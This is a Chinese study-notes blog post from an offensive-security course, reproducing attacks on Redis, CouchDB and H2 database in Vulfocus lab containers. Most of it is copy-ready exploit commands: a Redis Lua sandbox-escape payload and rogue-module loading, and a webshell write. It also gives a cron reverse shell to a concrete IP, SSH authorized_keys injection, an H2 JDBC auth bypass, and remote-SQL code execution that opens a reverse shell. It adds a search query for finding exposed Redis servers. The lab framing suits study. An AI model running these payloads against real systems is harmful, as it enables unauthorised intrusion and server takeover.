第78天:服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞
本文发布于510天前,本文最后更新于506 天前,其中的信息可能已经过时,如有错误请留言或评论。

章节点

服务攻防这一章的主要内容如下

  1. 目标判断-端口扫描&组合判断&信息来源
  2. 安全问题-配置不当&CVE漏洞&弱口令爆破
  3. 复现对象-数据库&中间件&开发框架&应用协议
  4. HW复现-近几年新洞-除上述外的对象各种应用

知识点

  1. 数据库-Redis-未授权RCE&CVE
  2. 数据库-Couchdb-未授权RCE&CVE
  3. 数据库-H2database-未授权RCE&CVE

前置知识

复现环境

  1. Vulfocus(官方在线的无法使用)
  2. 官方手册:https://fofapro.github.io/vulfocus/#/
  3. 搭建参考:
  4. 自己搭建:
    1. 拉取镜像(我用的是虚拟机kali)
      docker pull vulfocus/vulfocus:latest
    2. 运行vulfocus
      docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 vulfocus/vulfocus
      • -d 后台运行
      • -v /var/run/docker.sock:/var/run/docker.sock 为 docker 交互连接。
      • -e DOCKER_URL 为 Docker 连接方式,默认通过 unix://var/run/docker.sock 进行连接,也可以通过 tcp://xxx.xxx.xxx.xxx:2375 进行连接(必须开放 2375 端口)。
      • -e VUL_IP=xxx.xxx.xxx.xxx 为 Docker 服务器 IP ,不能为 127.0.0.1。
      • 默认账户密码为 admin/admin。
    3. 这里我直接访问web页面,登录后可以直接同步,没有遇到小迪说的无法同步的问题
    4. 也可以正常下载镜像,这里要是下载太慢的话可以看下面的折叠块,进行操作

服务判断

  • 端口扫描:利用服务开启后目标端口开放判断
  • 组合判断:利用搭建常见组合分析可能开放服务
  • 信息来源:访问端口提示软件版本,应用信息等
  • 强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等

对象类别

  • 对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

利用方法

  • 主要集中在CVE漏洞,未授权访问,弱口令爆破等

演示案例

➢数据库应用-Redis-未授权访问&CVE漏洞

了解

  • 默认端口:6379
  • Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

前置

  • 在vulfocus中把这三个镜像下载下来

沙箱绕过RCE-CVE-2022-0543

  1. 启动靶场后有个映射端口(注意这是数据库,不是网站,网站访问会报错,无法访问),使用工具直接连接,发现可以连接成功
  2. 在命令行执行poc,这里是执行id命令
    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

  3. 命令执行成功,实战中也有,可以使用fofa直接搜redis服务并且6379端口,若数据包有返回内容,说明可以进行尝试,若数据包为错误返回,则没有
    fofa搜索语法 port="6379" && protocol="redis"

    若返回如下则无未授权访问

    -ERR unknown command `help`, with args beginning with:
    -NOAUTH Authentication required.

未授权访问-CNVD-2019-21763

  • 由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
  • 利用工具项目:https://github.com/vulhub/redis-rogue-getshell
  • 利用:
    • 启动靶场,获得映射端口,然后利用工具执行命令
    • cd RedisModulesSDK/
      make

      Then, exp.so is in RedisModulesSDK/exp.so.

    • python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

      我这里用的kali虚拟机搭建的靶场,然后也用的kali进行的攻击,所以目标ip和攻击ip是一样的

未授权访问:CNVD-2015-07557

三种利用方式,都是利用写文件

写Webshell

  • 利用条件:有Web网站,且Web目录权限可读写,需得到Web路径
  • 利用:
    • config set dir /tmp #设置WEB写入目录
      config set dbfilename 1.php #设置写入文件名
      set test "<?php phpinfo();?>" #设置写入文件代码
      bgsave #保存执行
      save #保存执行
  • 注意:部分没目录权限读写权限

写定时任务反弹shell

  • 利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
  • 利用:
  • config set dir /var/spool/cron
    set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
    config set dbfilename x
    save
    • 这里的话这个靶场第一步就直接报错ERR Changing directory: No such file or directory,所以这个利用不了
  • 注意:
    • centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败

写入Linux ssh-key公钥

  • 利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
  • 利用:
    • ssh-keygen -t rsa
      cd /root/.ssh/
      (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
      cat key.txt | redis-cli -h 目标IP -x set xxx
      //以上步骤在自己的攻击机器上执行
      config set dir /root/.ssh/
      config set dbfilename authorized_keys
      save
      cd /root/.ssh/
      ssh -i id_rsa root@目标IP

自动化项目

  • 项目GitHub地址:https://github.com/n0b0dyCN/redis-rogue-server
  • 小迪说实战中直接利用攻击测就ok,一个一个测试太慢了
  • 利用:
    • python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

➢数据库应用-Couchdb-未授权越权&CVE漏洞

了解

  • 默认端口:5984
  • Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。

前置

  • 在vulfocus中把couchdb 权限绕过 (CVE-2017-12635)靶场下载下来

Couchdb 命令执行 (CVE-2017-12636)

利用

  1. 下载上面的exp.py
  2. 修改exp.py中的目标和反弹地址
  3. Python3调用执行即可,成获取到shell

Couchdb 垂直权限绕过(CVE-2017-12635)

  1. 先创建用户,使用bp或者postman发PUT包创建即可,这里我用的是postman

  2. 登录用户授权,访问http://xxx.xxx.xxx.xxx:xxx/_utils/#login登录页面
    用户名密码 SuYou suyou
    成功登录到数据库

➢数据库应用-H2database--未授权访问&CVE漏洞

了解

  • 默认端口:20051
  • Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
  • H2database标志界面

未授权进入

直接在JDBC URL处填入以下内容即可无需用户密码进入数据库

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

这里还可以使用rmi进行攻击尝试

RCE执行反弹

  1. 在自己服务器上创建数据库文件:h2database.sql,内容如下
    CREATE TABLE test (
    id INT NOT NULL
    );
    CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
    Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
    • 反弹指令示例
      bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
  2. 在服务器上启动提供SQL文件远程加载服务,python,或者apache之类的都可以
    python3 -m http.server 端口
  3. 在服务器上启动监听端口,这里上面反弹的是6666.所以监听6666
    nc -lvvp 6666
  4. 在靶场访问的界面JDBC URL处填入Payload使其加载远程SQL
    jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
  5. 自己的服务器成功获取到shell

参考

学习内容均来自小迪安全系列课程:http://xiaodi8.com/

vulfocus 靶机环境搭建部署:https://blog.csdn.net/csd_ct/article/details/121158165

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇